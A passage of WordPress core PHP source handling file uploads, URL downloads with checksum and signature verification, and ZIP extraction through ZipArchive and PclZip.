		$type            = empty( $wp_filetype['type'] ) ? '' : $wp_filetype['type'];
		$proper_filename = empty( $wp_filetype['proper_filename'] ) ? '' : $wp_filetype['proper_filename'];

		// Check to see if wp_check_filetype_and_ext() determined the filename was incorrect.
		if ( $proper_filename ) {
			$file['name'] = $proper_filename;
		}

		if ( ( ! $type || ! $ext ) && ! current_user_can( 'unfiltered_upload' ) ) {
			return call_user_func_array( $upload_error_handler, array( &$file, __( 'Sorry, you are not allowed to upload this file type.' ) ) );
		}

		if ( ! $type ) {
			$type = $file['type'];
		}
	} else {
		$type = '';
	}

	/*
	 * A writable uploads dir will pass this test. Again, there's no point
	 * overriding this one.
	 */
	$uploads = wp_upload_dir( $time );
	if ( ! ( $uploads && false === $uploads['error'] ) ) {
		return call_user_func_array( $upload_error_handler, array( &$file, $uploads['error'] ) );
	}

	$filename = wp_unique_filename( $uploads['path'], $file['name'], $unique_filename_callback );

	// Move the file to the uploads dir.
	$new_file = $uploads['path'] . "/$filename";

	/**
	 * Filters whether to short-circuit moving the uploaded file after passing all checks.
	 *
	 * If a non-null value is returned from the filter, moving the file and any related
	 * error reporting will be completely skipped.
	 *
	 * @since 4.9.0
	 *
	 * @param mixed    $move_new_file If null (default) move the file after the upload.
	 * @param array    $file          {
	 *     Reference to a single element from `$_FILES`.
	 *
	 *     @type string $name     The original name of the file on the client machine.
	 *     @type string $type     The mime type of the file, if the browser provided this information.
	 *     @type string $tmp_name The temporary filename of the file in which the uploaded file was stored on the server.
	 *     @type int    $size     The size, in bytes, of the uploaded file.
	 *     @type int    $error    The error code associated with this file upload.
	 * }
	 * @param string   $new_file      Filename of the newly-uploaded file.
	 * @param string   $type          Mime type of the newly-uploaded file.
	 */
	$move_new_file = apply_filters( 'pre_move_uploaded_file', null, $file, $new_file, $type );

	if ( null === $move_new_file ) {
		if ( 'wp_handle_upload' === $action ) {
			$move_new_file = @move_uploaded_file( $file['tmp_name'], $new_file );
		} else {
			// Use copy and unlink because rename breaks streams.
			// phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
			$move_new_file = @copy( $file['tmp_name'], $new_file );
			unlink( $file['tmp_name'] );
		}

		if ( false === $move_new_file ) {
			if ( str_starts_with( $uploads['basedir'], ABSPATH ) ) {
				$error_path = str_replace( ABSPATH, '', $uploads['basedir'] ) . $uploads['subdir'];
			} else {
				$error_path = basename( $uploads['basedir'] ) . $uploads['subdir'];
			}

			return $upload_error_handler(
				$file,
				sprintf(
					/* translators: %s: Destination file path. */
					__( 'The uploaded file could not be moved to %s.' ),
					$error_path
				)
			);
		}
	}

	// Set correct file permissions.
	$stat  = stat( dirname( $new_file ) );
	$perms = $stat['mode'] & 0000666;
	chmod( $new_file, $perms );

	// Compute the URL.
	$url = $uploads['url'] . "/$filename";

	if ( is_multisite() ) {
		clean_dirsize_cache( $new_file );
	}

	/**
	 * Filters the data array for the uploaded file.
	 *
	 * @since 2.1.0
	 *
	 * @param array  $upload {
	 *     Array of upload data.
	 *
	 *     @type string $file Filename of the newly-uploaded file.
	 *     @type string $url  URL of the newly-uploaded file.
	 *     @type string $type Mime type of the newly-uploaded file.
	 * }
	 * @param string $context The type of upload action. Values include 'upload' or 'sideload'.
	 */
	return apply_filters(
		'wp_handle_upload',
		array(
			'file' => $new_file,
			'url'  => $url,
			'type' => $type,
		),
		'wp_handle_sideload' === $action ? 'sideload' : 'upload'
	);
}

/**
 * Wrapper for _wp_handle_upload().
 *
 * Passes the {@see 'wp_handle_upload'} action.
 *
 * @since 2.0.0
 *
 * @see _wp_handle_upload()
 *
 * @param array       $file      Reference to a single element of `$_FILES`.
 *                               Call the function once for each uploaded file.
 *                               See _wp_handle_upload() for accepted values.
 * @param array|false $overrides Optional. An associative array of names => values
 *                               to override default variables. Default false.
 *                               See _wp_handle_upload() for accepted values.
 * @param string      $time      Optional. Time formatted in 'yyyy/mm'. Default null.
 * @return array See _wp_handle_upload() for return value.
 */
function wp_handle_upload( &$file, $overrides = false, $time = null ) {
	/*
	 *  $_POST['action'] must be set and its value must equal $overrides['action']
	 *  or this:
	 */
	$action = 'wp_handle_upload';
	if ( isset( $overrides['action'] ) ) {
		$action = $overrides['action'];
	}

	return _wp_handle_upload( $file, $overrides, $time, $action );
}

/**
 * Wrapper for _wp_handle_upload().
 *
 * Passes the {@see 'wp_handle_sideload'} action.
 *
 * @since 2.6.0
 *
 * @see _wp_handle_upload()
 *
 * @param array       $file      Reference to a single element of `$_FILES`.
 *                               Call the function once for each uploaded file.
 *                               See _wp_handle_upload() for accepted values.
 * @param array|false $overrides Optional. An associative array of names => values
 *                               to override default variables. Default false.
 *                               See _wp_handle_upload() for accepted values.
 * @param string      $time      Optional. Time formatted in 'yyyy/mm'. Default null.
 * @return array See _wp_handle_upload() for return value.
 */
function wp_handle_sideload( &$file, $overrides = false, $time = null ) {
	/*
	 *  $_POST['action'] must be set and its value must equal $overrides['action']
	 *  or this:
	 */
	$action = 'wp_handle_sideload';
	if ( isset( $overrides['action'] ) ) {
		$action = $overrides['action'];
	}

	return _wp_handle_upload( $file, $overrides, $time, $action );
}

/**
 * Downloads a URL to a local temporary file using the WordPress HTTP API.
 *
 * Please note that the calling function must unlink() the file.
 *
 * @since 2.5.0
 * @since 5.2.0 Signature Verification with SoftFail was added.
 * @since 5.9.0 Support for Content-Disposition filename was added.
 *
 * @param string $url                    The URL of the file to download.
 * @param int    $timeout                The timeout for the request to download the file.
 *                                       Default 300 seconds.
 * @param bool   $signature_verification Whether to perform Signature Verification.
 *                                       Default false.
 * @return string|WP_Error Filename on success, WP_Error on failure.
 */
function download_url( $url, $timeout = 300, $signature_verification = false ) {
	// WARNING: The file is not automatically deleted, the script must unlink() the file.
	if ( ! $url ) {
		return new WP_Error( 'http_no_url', __( 'Invalid URL Provided.' ) );
	}

	$url_path     = parse_url( $url, PHP_URL_PATH );
	$url_filename = '';
	if ( is_string( $url_path ) && '' !== $url_path ) {
		$url_filename = basename( $url_path );
	}

	$tmpfname = wp_tempnam( $url_filename );
	if ( ! $tmpfname ) {
		return new WP_Error( 'http_no_file', __( 'Could not create temporary file.' ) );
	}

	$response = wp_safe_remote_get(
		$url,
		array(
			'timeout'  => $timeout,
			'stream'   => true,
			'filename' => $tmpfname,
		)
	);

	if ( is_wp_error( $response ) ) {
		unlink( $tmpfname );
		return $response;
	}

	$response_code = wp_remote_retrieve_response_code( $response );

	if ( 200 !== $response_code ) {
		$data = array(
			'code' => $response_code,
		);

		// Retrieve a sample of the response body for debugging purposes.
		$tmpf = fopen( $tmpfname, 'rb' );

		if ( $tmpf ) {
			/**
			 * Filters the maximum error response body size in `download_url()`.
			 *
			 * @since 5.1.0
			 *
			 * @see download_url()
			 *
			 * @param int $size The maximum error response body size. Default 1 KB.
			 */
			$response_size = apply_filters( 'download_url_error_max_body_size', KB_IN_BYTES );

			$data['body'] = fread( $tmpf, $response_size );
			fclose( $tmpf );
		}

		unlink( $tmpfname );

		return new WP_Error( 'http_404', trim( wp_remote_retrieve_response_message( $response ) ), $data );
	}

	$content_disposition = wp_remote_retrieve_header( $response, 'Content-Disposition' );

	if ( $content_disposition ) {
		$content_disposition = strtolower( $content_disposition );

		if ( str_starts_with( $content_disposition, 'attachment; filename=' ) ) {
			$tmpfname_disposition = sanitize_file_name( substr( $content_disposition, 21 ) );
		} else {
			$tmpfname_disposition = '';
		}

		// Potential file name must be valid string.
		if ( $tmpfname_disposition && is_string( $tmpfname_disposition )
			&& ( 0 === validate_file( $tmpfname_disposition ) )
		) {
			$tmpfname_disposition = dirname( $tmpfname ) . '/' . $tmpfname_disposition;

			if ( rename( $tmpfname, $tmpfname_disposition ) ) {
				$tmpfname = $tmpfname_disposition;
			}

			if ( ( $tmpfname !== $tmpfname_disposition ) && file_exists( $tmpfname_disposition ) ) {
				unlink( $tmpfname_disposition );
			}
		}
	}

	$content_md5 = wp_remote_retrieve_header( $response, 'Content-MD5' );

	if ( $content_md5 ) {
		$md5_check = verify_file_md5( $tmpfname, $content_md5 );

		if ( is_wp_error( $md5_check ) ) {
			unlink( $tmpfname );
			return $md5_check;
		}
	}

	// If the caller expects signature verification to occur, check to see if this URL supports it.
	if ( $signature_verification ) {
		/**
		 * Filters the list of hosts which should have Signature Verification attempted on.
		 *
		 * @since 5.2.0
		 *
		 * @param string[] $hostnames List of hostnames.
		 */
		$signed_hostnames = apply_filters( 'wp_signature_hosts', array( 'wordpress.org', 'downloads.wordpress.org', 's.w.org' ) );

		$signature_verification = in_array( parse_url( $url, PHP_URL_HOST ), $signed_hostnames, true );
	}

	// Perform signature validation if supported.
	if ( $signature_verification ) {
		$signature = wp_remote_retrieve_header( $response, 'X-Content-Signature' );

		if ( ! $signature ) {
			/*
			 * Retrieve signatures from a file if the header wasn't included.
			 * WordPress.org stores signatures at $package_url.sig.
			 */

			$signature_url = false;

			if ( is_string( $url_path ) && ( str_ends_with( $url_path, '.zip' ) || str_ends_with( $url_path, '.tar.gz' ) ) ) {
				$signature_url = str_replace( $url_path, $url_path . '.sig', $url );
			}

			/**
			 * Filters the URL where the signature for a file is located.
			 *
			 * @since 5.2.0
			 *
			 * @param false|string $signature_url The URL where signatures can be found for a file, or false if none are known.
			 * @param string $url                 The URL being verified.
			 */
			$signature_url = apply_filters( 'wp_signature_url', $signature_url, $url );

			if ( $signature_url ) {
				$signature_request = wp_safe_remote_get(
					$signature_url,
					array(
						'limit_response_size' => 10 * KB_IN_BYTES, // 10KB should be large enough for quite a few signatures.
					)
				);

				if ( ! is_wp_error( $signature_request ) && 200 === wp_remote_retrieve_response_code( $signature_request ) ) {
					$signature = explode( "\n", wp_remote_retrieve_body( $signature_request ) );
				}
			}
		}

		// Perform the checks.
		$signature_verification = verify_file_signature( $tmpfname, $signature, $url_filename );
	}

	if ( is_wp_error( $signature_verification ) ) {
		if (
			/**
			 * Filters whether Signature Verification failures should be allowed to soft fail.
			 *
			 * WARNING: This may be removed from a future release.
			 *
			 * @since 5.2.0
			 *
			 * @param bool   $signature_softfail If a softfail is allowed.
			 * @param string $url                The url being accessed.
			 */
			apply_filters( 'wp_signature_softfail', true, $url )
		) {
			$signature_verification->add_data( $tmpfname, 'softfail-filename' );
		} else {
			// Hard-fail.
			unlink( $tmpfname );
		}

		return $signature_verification;
	}

	return $tmpfname;
}

/**
 * Calculates and compares the MD5 of a file to its expected value.
 *
 * @since 3.7.0
 *
 * @param string $filename     The filename to check the MD5 of.
 * @param string $expected_md5 The expected MD5 of the file, either a base64-encoded raw md5,
 *                             or a hex-encoded md5.
 * @return bool|WP_Error True on success, false when the MD5 format is unknown/unexpected,
 *                       WP_Error on failure.
 */
function verify_file_md5( $filename, $expected_md5 ) {
	if ( 32 === strlen( $expected_md5 ) ) {
		$expected_raw_md5 = pack( 'H*', $expected_md5 );
	} elseif ( 24 === strlen( $expected_md5 ) ) {
		$expected_raw_md5 = base64_decode( $expected_md5 );
	} else {
		return false; // Unknown format.
	}

	$file_md5 = md5_file( $filename, true );

	if ( $file_md5 === $expected_raw_md5 ) {
		return true;
	}

	return new WP_Error(
		'md5_mismatch',
		sprintf(
			/* translators: 1: File checksum, 2: Expected checksum value. */
			__( 'The checksum of the file (%1$s) does not match the expected checksum value (%2$s).' ),
			bin2hex( $file_md5 ),
			bin2hex( $expected_raw_md5 )
		)
	);
}

/**
 * Verifies the contents of a file against its ED25519 signature.
 *
 * @since 5.2.0
 *
 * @param string       $filename            The file to validate.
 * @param string|array $signatures          A Signature provided for the file.
 * @param string|false $filename_for_errors Optional. A friendly filename for errors.
 * @return bool|WP_Error True on success, false if verification not attempted,
 *                       or WP_Error describing an error condition.
 */
function verify_file_signature( $filename, $signatures, $filename_for_errors = false ) {
	if ( ! $filename_for_errors ) {
		$filename_for_errors = wp_basename( $filename );
	}

	// Check we can process signatures.
	if ( ! function_exists( 'sodium_crypto_sign_verify_detached' ) || ! in_array( 'sha384', array_map( 'strtolower', hash_algos() ), true ) ) {
		return new WP_Error(
			'signature_verification_unsupported',
			sprintf(
				/* translators: %s: The filename of the package. */
				__( 'The authenticity of %s could not be verified as signature verification is unavailable on this system.' ),
				'<span class="code">' . esc_html( $filename_for_errors ) . '</span>'
			),
			( ! function_exists( 'sodium_crypto_sign_verify_detached' ) ? 'sodium_crypto_sign_verify_detached' : 'sha384' )
		);
	}

	// Check for an edge-case affecting PHP Maths abilities.
	if (
		! extension_loaded( 'sodium' ) &&
		in_array( PHP_VERSION_ID, array( 70200, 70201, 70202 ), true ) &&
		extension_loaded( 'opcache' )
	) {
		/*
		 * Sodium_Compat isn't compatible with PHP 7.2.0~7.2.2 due to a bug in the PHP Opcache extension, bail early as it'll fail.
		 * https://bugs.php.net/bug.php?id=75938
		 */
		return new WP_Error(
			'signature_verification_unsupported',
			sprintf(
				/* translators: %s: The filename of the package. */
				__( 'The authenticity of %s could not be verified as signature verification is unavailable on this system.' ),
				'<span class="code">' . esc_html( $filename_for_errors ) . '</span>'
			),
			array(
				'php'    => PHP_VERSION,
				'sodium' => defined( 'SODIUM_LIBRARY_VERSION' ) ? SODIUM_LIBRARY_VERSION : ( defined( 'ParagonIE_Sodium_Compat::VERSION_STRING' ) ? ParagonIE_Sodium_Compat::VERSION_STRING : false ),
			)
		);
	}

	// Verify runtime speed of Sodium_Compat is acceptable.
	if ( ! extension_loaded( 'sodium' ) && ! ParagonIE_Sodium_Compat::polyfill_is_fast() ) {
		$sodium_compat_is_fast = false;

		// Allow for an old version of Sodium_Compat being loaded before the bundled WordPress one.
		if ( method_exists( 'ParagonIE_Sodium_Compat', 'runtime_speed_test' ) ) {
			/*
			 * Run `ParagonIE_Sodium_Compat::runtime_speed_test()` in optimized integer mode,
			 * as that's what WordPress utilizes during signing verifications.
			 */
			// phpcs:disable WordPress.NamingConventions.ValidVariableName
			$old_fastMult                      = ParagonIE_Sodium_Compat::$fastMult;
			ParagonIE_Sodium_Compat::$fastMult = true;
			$sodium_compat_is_fast             = ParagonIE_Sodium_Compat::runtime_speed_test( 100, 10 );
			ParagonIE_Sodium_Compat::$fastMult = $old_fastMult;
			// phpcs:enable
		}

		/*
		 * This cannot be performed in a reasonable amount of time.
		 * https://github.com/paragonie/sodium_compat#help-sodium_compat-is-slow-how-can-i-make-it-fast
		 */
		if ( ! $sodium_compat_is_fast ) {
			return new WP_Error(
				'signature_verification_unsupported',
				sprintf(
					/* translators: %s: The filename of the package. */
					__( 'The authenticity of %s could not be verified as signature verification is unavailable on this system.' ),
					'<span class="code">' . esc_html( $filename_for_errors ) . '</span>'
				),
				array(
					'php'                => PHP_VERSION,
					'sodium'             => defined( 'SODIUM_LIBRARY_VERSION' ) ? SODIUM_LIBRARY_VERSION : ( defined( 'ParagonIE_Sodium_Compat::VERSION_STRING' ) ? ParagonIE_Sodium_Compat::VERSION_STRING : false ),
					'polyfill_is_fast'   => false,
					'max_execution_time' => ini_get( 'max_execution_time' ),
				)
			);
		}
	}

	if ( ! $signatures ) {
		return new WP_Error(
			'signature_verification_no_signature',
			sprintf(
				/* translators: %s: The filename of the package. */
				__( 'The authenticity of %s could not be verified as no signature was found.' ),
				'<span class="code">' . esc_html( $filename_for_errors ) . '</span>'
			),
			array(
				'filename' => $filename_for_errors,
			)
		);
	}

	$trusted_keys = wp_trusted_keys();
	$file_hash    = hash_file( 'sha384', $filename, true );

	mbstring_binary_safe_encoding();

	$skipped_key       = 0;
	$skipped_signature = 0;

	foreach ( (array) $signatures as $signature ) {
		$signature_raw = base64_decode( $signature );

		// Ensure only valid-length signatures are considered.
		if ( SODIUM_CRYPTO_SIGN_BYTES !== strlen( $signature_raw ) ) {
			++$skipped_signature;
			continue;
		}

		foreach ( (array) $trusted_keys as $key ) {
			$key_raw = base64_decode( $key );

			// Only pass valid public keys through.
			if ( SODIUM_CRYPTO_SIGN_PUBLICKEYBYTES !== strlen( $key_raw ) ) {
				++$skipped_key;
				continue;
			}

			if ( sodium_crypto_sign_verify_detached( $signature_raw, $file_hash, $key_raw ) ) {
				reset_mbstring_encoding();
				return true;
			}
		}
	}

	reset_mbstring_encoding();

	return new WP_Error(
		'signature_verification_failed',
		sprintf(
			/* translators: %s: The filename of the package. */
			__( 'The authenticity of %s could not be verified.' ),
			'<span class="code">' . esc_html( $filename_for_errors ) . '</span>'
		),
		// Error data helpful for debugging:
		array(
			'filename'    => $filename_for_errors,
			'keys'        => $trusted_keys,
			'signatures'  => $signatures,
			'hash'        => bin2hex( $file_hash ),
			'skipped_key' => $skipped_key,
			'skipped_sig' => $skipped_signature,
			'php'         => PHP_VERSION,
			'sodium'      => defined( 'SODIUM_LIBRARY_VERSION' ) ? SODIUM_LIBRARY_VERSION : ( defined( 'ParagonIE_Sodium_Compat::VERSION_STRING' ) ? ParagonIE_Sodium_Compat::VERSION_STRING : false ),
		)
	);
}

/**
 * Retrieves the list of signing keys trusted by WordPress.
 *
 * @since 5.2.0
 *
 * @return string[] Array of base64-encoded signing keys.
 */
function wp_trusted_keys() {
	$trusted_keys = array();

	if ( time() < 1617235200 ) {
		// WordPress.org Key #1 - This key is only valid before April 1st, 2021.
		$trusted_keys[] = 'fRPyrxb/MvVLbdsYi+OOEv4xc+Eqpsj+kkAS6gNOkI0=';
	}

	// TODO: Add key #2 with longer expiration.

	/**
	 * Filters the valid signing keys used to verify the contents of files.
	 *
	 * @since 5.2.0
	 *
	 * @param string[] $trusted_keys The trusted keys that may sign packages.
	 */
	return apply_filters( 'wp_trusted_keys', $trusted_keys );
}

/**
 * Determines whether the given file is a valid ZIP file.
 *
 * This function does not test to ensure that a file exists. Non-existent files
 * are not valid ZIPs, so those will also return false.
 *
 * @since 6.4.4
 *
 * @param string $file Full path to the ZIP file.
 * @return bool Whether the file is a valid ZIP file.
 */
function wp_zip_file_is_valid( $file ) {
	/** This filter is documented in wp-admin/includes/file.php */
	if ( class_exists( 'ZipArchive', false ) && apply_filters( 'unzip_file_use_ziparchive', true ) ) {
		$archive          = new ZipArchive();
		$archive_is_valid = $archive->open( $file, ZipArchive::CHECKCONS );
		if ( true === $archive_is_valid ) {
			$archive->close();
			return true;
		}
	}

	// Fall through to PclZip if ZipArchive is not available, or encountered an error opening the file.
	require_once ABSPATH . 'wp-admin/includes/class-pclzip.php';

	$archive          = new PclZip( $file );
	$archive_is_valid = is_array( $archive->properties() );

	return $archive_is_valid;
}

/**
 * Unzips a specified ZIP file to a location on the filesystem via the WordPress
 * Filesystem Abstraction.
 *
 * Assumes that WP_Filesystem() has already been called and set up. Does not extract
 * a root-level __MACOSX directory, if present.
 *
 * Attempts to increase the PHP memory limit to 256M before uncompressing. However,
 * the most memory required shouldn't be much larger than the archive itself.
 *
 * @since 2.5.0
 *
 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
 *
 * @param string $file Full path and filename of ZIP archive.
 * @param string $to   Full path on the filesystem to extract archive to.
 * @return true|WP_Error True on success, WP_Error on failure.
 */
function unzip_file( $file, $to ) {
	global $wp_filesystem;

	if ( ! $wp_filesystem || ! is_object( $wp_filesystem ) ) {
		return new WP_Error( 'fs_unavailable', __( 'Could not access filesystem.' ) );
	}

	// Unzip can use a lot of memory, but not this much hopefully.
	wp_raise_memory_limit( 'admin' );

	$needed_dirs = array();
	$to          = trailingslashit( $to );

	// Determine any parent directories needed (of the upgrade directory).
	if ( ! $wp_filesystem->is_dir( $to ) ) { // Only do parents if no children exist.
		$path = preg_split( '![/\\\]!', untrailingslashit( $to ) );
		for ( $i = count( $path ); $i >= 0; $i-- ) {
			if ( empty( $path[ $i ] ) ) {
				continue;
			}

			$dir = implode( '/', array_slice( $path, 0, $i + 1 ) );
			if ( preg_match( '!^[a-z]:$!i', $dir ) ) { // Skip it if it looks like a Windows Drive letter.
				continue;
			}

			if ( ! $wp_filesystem->is_dir( $dir ) ) {
				$needed_dirs[] = $dir;
			} else {
				break; // A folder exists, therefore we don't need to check the levels below this.
			}
		}
	}

	/**
	 * Filters whether to use ZipArchive to unzip archives.
	 *
	 * @since 3.0.0
	 *
	 * @param bool $ziparchive Whether to use ZipArchive. Default true.
	 */
	if ( class_exists( 'ZipArchive', false ) && apply_filters( 'unzip_file_use_ziparchive', true ) ) {
		$result = _unzip_file_ziparchive( $file, $to, $needed_dirs );
		if ( true === $result ) {
			return $result;
		} elseif ( is_wp_error( $result ) ) {
			if ( 'incompatible_archive' !== $result->get_error_code() ) {
				return $result;
			}
		}
	}
	// Fall through to PclZip if ZipArchive is not available, or encountered an error opening the file.
	return _unzip_file_pclzip( $file, $to, $needed_dirs );
}

/**
 * Attempts to unzip an archive using the ZipArchive class.
 *
 * This function should not be called directly, use `unzip_file()` instead.
 *
 * Assumes that WP_Filesystem() has already been called and set up.
 *
 * @since 3.0.0
 * @access private
 *
 * @see unzip_file()
 *
 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
 *
 * @param string   $file        Full path and filename of ZIP archive.
 * @param string   $to          Full path on the filesystem to extract archive to.
 * @param string[] $needed_dirs A partial list of required folders needed to be created.
 * @return true|WP_Error True on success, WP_Error on failure.
 */
function _unzip_file_ziparchive( $file, $to, $needed_dirs = array() ) {
	global $wp_filesystem;

	$z = new ZipArchive();

	$zopen = $z->open( $file, ZIPARCHIVE::CHECKCONS );

	if ( true !== $zopen ) {
		return new WP_Error( 'incompatible_archive', __( 'Incompatible Archive.' ), array( 'ziparchive_error' => $zopen ) );
	}

	$uncompressed_size = 0;

	for ( $i = 0; $i < $z->numFiles; $i++ ) {
		$info = $z->statIndex( $i );

		if ( ! $info ) {
			$z->close();
			return new WP_Error( 'stat_failed_ziparchive', __( 'Could not retrieve file from archive.' ) );
		}

		if ( str_starts_with( $info['name'], '__MACOSX/' ) ) { // Skip the OS X-created __MACOSX directory.
			continue;
		}

		// Don't extract invalid files:
		if ( 0 !== validate_file( $info['name'] ) ) {
			continue;
		}

		$uncompressed_size += $info['size'];

		$dirname = dirname( $info['name'] );

		if ( str_ends_with( $info['name'], '/' ) ) {
			// Directory.
			$needed_dirs[] = $to . untrailingslashit( $info['name'] );
		} elseif ( '.' !== $dirname ) {
			// Path to a file.
			$needed_dirs[] = $to . untrailingslashit( $dirname );
		}
	}

	// Enough space to unzip the file and copy its contents, with a 10% buffer.
	$required_space = $uncompressed_size * 2.1;

	/*
	 * disk_free_space() could return false. Assume that any falsey value is an error.
	 * A disk that has zero free bytes has bigger problems.
	 * Require we have enough space to unzip the file and copy its contents, with a 10% buffer.
	 */
	if ( wp_doing_cron() ) {
		$available_space = function_exists( 'disk_free_space' ) ? @disk_free_space( WP_CONTENT_DIR ) : false;

		if ( $available_space && ( $required_space > $available_space ) ) {
			$z->close();
			return new WP_Error(
				'disk_full_unzip_file',
				__( 'Could not copy files. You may have run out of disk space.' ),
				compact( 'uncompressed_size', 'available_space' )
			);
		}
	}

	$needed_dirs = array_unique( $needed_dirs );

	foreach ( $needed_dirs as $dir ) {
		// Check the parent folders of the folders all exist within the creation array.
		if ( untrailingslashit( $to ) === $dir ) { // Skip over the working directory, we know this exists (or will exist).
			continue;
		}

		if ( ! str_contains( $dir, $to ) ) { // If the directory is not within the working directory, skip it.
			continue;
		}

		$parent_folder = dirname( $dir );

		while ( ! empty( $parent_folder )
			&& untrailingslashit( $to ) !== $parent_folder
			&& ! in_array( $parent_folder, $needed_dirs, true )
		) {
			$needed_dirs[] = $parent_folder;
			$parent_folder = dirname( $parent_folder );
		}
	}

	asort( $needed_dirs );

	// Create those directories if need be:
	foreach ( $needed_dirs as $_dir ) {
		// Only check to see if the Dir exists upon creation failure. Less I/O this way.
		if ( ! $wp_filesystem->mkdir( $_dir, FS_CHMOD_DIR ) && ! $wp_filesystem->is_dir( $_dir ) ) {
			$z->close();
			return new WP_Error( 'mkdir_failed_ziparchive', __( 'Could not create directory.' ), $_dir );
		}
	}

	/**
	 * Filters archive unzipping to override with a custom process.
	 *
	 * @since 6.4.0
	 *
	 * @param null|true|WP_Error $result         The result of the override. True on success, otherwise WP Error. Default null.
	 * @param string             $file           Full path and filename of ZIP archive.
	 * @param string             $to             Full path on the filesystem to extract archive to.
	 * @param string[]           $needed_dirs    A full list of required folders that need to be created.
	 * @param float              $required_space The space required to unzip the file and copy its contents, with a 10% buffer.
	 */
	$pre = apply_filters( 'pre_unzip_file', null, $file, $to, $needed_dirs, $required_space );

	if ( null !== $pre ) {
		// Ensure the ZIP file archive has been closed.
		$z->close();

		return $pre;
	}

	for ( $i = 0; $i < $z->numFiles; $i++ ) {
		$info = $z->statIndex( $i );

		if ( ! $info ) {
			$z->close();
			return new WP_Error( 'stat_failed_ziparchive', __( 'Could not retrieve file from archive.' ) );
		}

		if ( str_ends_with( $info['name'], '/' ) ) { // Directory.
			continue;
		}

		if ( str_starts_with( $info['name'], '__MACOSX/' ) ) { // Don't extract the OS X-created __MACOSX directory files.
			continue;
		}

		// Don't extract invalid files:
		if ( 0 !== validate_file( $info['name'] ) ) {
			continue;
		}

		$contents = $z->getFromIndex( $i );

		if ( false === $contents ) {
			$z->close();
			return new WP_Error( 'extract_failed_ziparchive', __( 'Could not extract file from archive.' ), $info['name'] );
		}

		if ( ! $wp_filesystem->put_contents( $to . $info['name'], $contents, FS_CHMOD_FILE ) ) {
			$z->close();
			return new WP_Error( 'copy_failed_ziparchive', __( 'Could not copy file.' ), $info['name'] );
		}
	}

	$z->close();

	/**
	 * Filters the result of unzipping an archive.
	 *
	 * @since 6.4.0
	 *
	 * @param true|WP_Error $result         The result of unzipping the archive. True on success, otherwise WP_Error. Default true.
	 * @param string        $file           Full path and filename of ZIP archive.
	 * @param string        $to             Full path on the filesystem the archive was extracted to.
	 * @param string[]      $needed_dirs    A full list of required folders that were created.
	 * @param float         $required_space The space required to unzip the file and copy its contents, with a 10% buffer.
	 */
	$result = apply_filters( 'unzip_file', true, $file, $to, $needed_dirs, $required_space );

	unset( $needed_dirs );

	return $result;
}

/**
 * Attempts to unzip an archive using the PclZip library.
 *
 * This function should not be called directly, use `unzip_file()` instead.
 *
 * Assumes that WP_Filesystem() has already been called and set up.
 *
 * @since 3.0.0
 * @access private
 *
 * @see unzip_file()
 *
 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
 *
 * @param string   $file        Full path and filename of ZIP archive.
 * @param string   $to          Full path on the filesystem to extract archive to.
 * @param string[] $needed_dirs A partial list of required folders needed to be created.
 * @return true|WP_Error True on success, WP_Error on failure.
 */
function _unzip_file_pclzip( $file, $to, $needed_dirs = array() ) {
	global $wp_filesystem;

	mbstring_binary_safe_encoding();

	require_once ABSPATH . 'wp-admin/includes/class-pclzip.php';

	$archive = new PclZip( $file );

	$archive_files = $archive->extract( PCLZIP_OPT_EXTRACT_AS_STRING );

	reset_mbstring_encoding();

	// Is the archive valid?
	if ( ! is_array( $archive_files ) ) {
		return new WP_Error( 'incompatible_archive', __( 'Incompatible Archive.' ), $archive->errorInfo( true ) );
	}

	if ( 0 === count( $archive_files ) ) {
		return new WP_Error( 'empty_archive_pclzip', __( 'Empty archive.' ) );
	}

	$uncompressed_size = 0;

	// Determine any children directories needed (From within the archive).
	foreach ( $archive_files as $file ) {
		if ( str_starts_with( $file['filename'], '__MACOSX/' ) ) { // Skip the OS X-created __MACOSX directory.
			continue;
		}

		$uncompressed_size += $file['size'];

		$needed_dirs[] = $to . untrailingslashit( $file['folder'] ? $file['filename'] : dirname( $file['filename'] ) );
	}

	// Enough space to unzip the file and copy its contents, with a 10% buffer.
	$required_space = $uncompressed_size * 2.1;

	/*
	 * disk_free_space() could return false. Assume that any falsey value is an error.
	 * A disk that has zero free bytes has bigger problems.
	 * Require we have enough space to unzip the file and copy its contents, with a 10% buffer.
	 */
	if ( wp_doing_cron() ) {
		$available_space = function_exists( 'disk_free_space' ) ? @disk_free_space( WP_CONTENT_DIR ) : false;

		if ( $available_space && ( $required_space > $available_space ) ) {
			return new WP_Error(
				'disk_full_unzip_file',
				__( 'Could not copy files. You may have run out of disk space.' ),
				compact( 'uncompressed_size', 'available_space' )
			);
		}
	}

	$needed_dirs = array_unique( $needed_dirs );

	foreach ( $needed_dirs as $dir ) {
		// Check the parent folders of the folders all exist within the creation array.
		if ( untrailingslashit( $to ) === $dir ) { // Skip over the working directory, we know this exists (or will exist).
			continue;
		}

		if ( ! str_contains( $dir, $to ) ) { // If the directory is not within the working directory, skip it.
			continue;
		}

		$parent_folder = dirname( $dir );

		while ( ! empty( $parent_folder )
			&& untrailingslashit( $to ) !== $parent_folder
			&& ! in_array( $parent_folder, $needed_dirs, true )
		) {
			$needed_dirs[] = $parent_folder;
			$parent_folder = dirname( $parent_folder );
		}
	}

	asort( $needed_dirs );

	// Create those directories if need be:
	foreach ( $needed_dirs as $_dir ) {
		// Only check to see if the dir exists upon creation failure. Less I/O this way.
		if ( ! $wp_filesystem->mkdir( $_dir, FS_CHMOD_DIR ) && ! $wp_filesystem->is_dir( $_dir ) ) {
			return new WP_Error( 'mkdir_failed_pclzip', __( 'Could not create directory.' ), $_dir );
		}
	}

	/** This filter is documented in src/wp-admin/includes/file.php */
	$pre = apply_filters( 'pre_unzip_file', null, $file, $to, $needed_dirs, $required_space );

	if ( null !== $pre ) {
		return $pre;
	}

	// Extract the files from the zip.
	foreach ( $archive_files as $file ) {
		if ( $file['folder'] ) {
			continue;
		}

		if ( str_starts_with( $file['filename'], '__MACOSX/' ) ) { // Don't extract the OS X-created __MACOSX directory files.
			continue;
		}

		// Don't extract invalid files:
		if ( 0 !== validate_file( $file['filename'] ) ) {
			continue;
		}

		if ( ! $wp_filesystem->put_contents( $to . $file['filename'], $file['content'], FS_CHMOD_FILE ) ) {
			return new WP_Error( 'copy_failed_pclzip', __( 'Could not copy file.' ), $file['filename'] );
		}
	}

	/** This action is documented in src/wp-admin/includes/file.php */
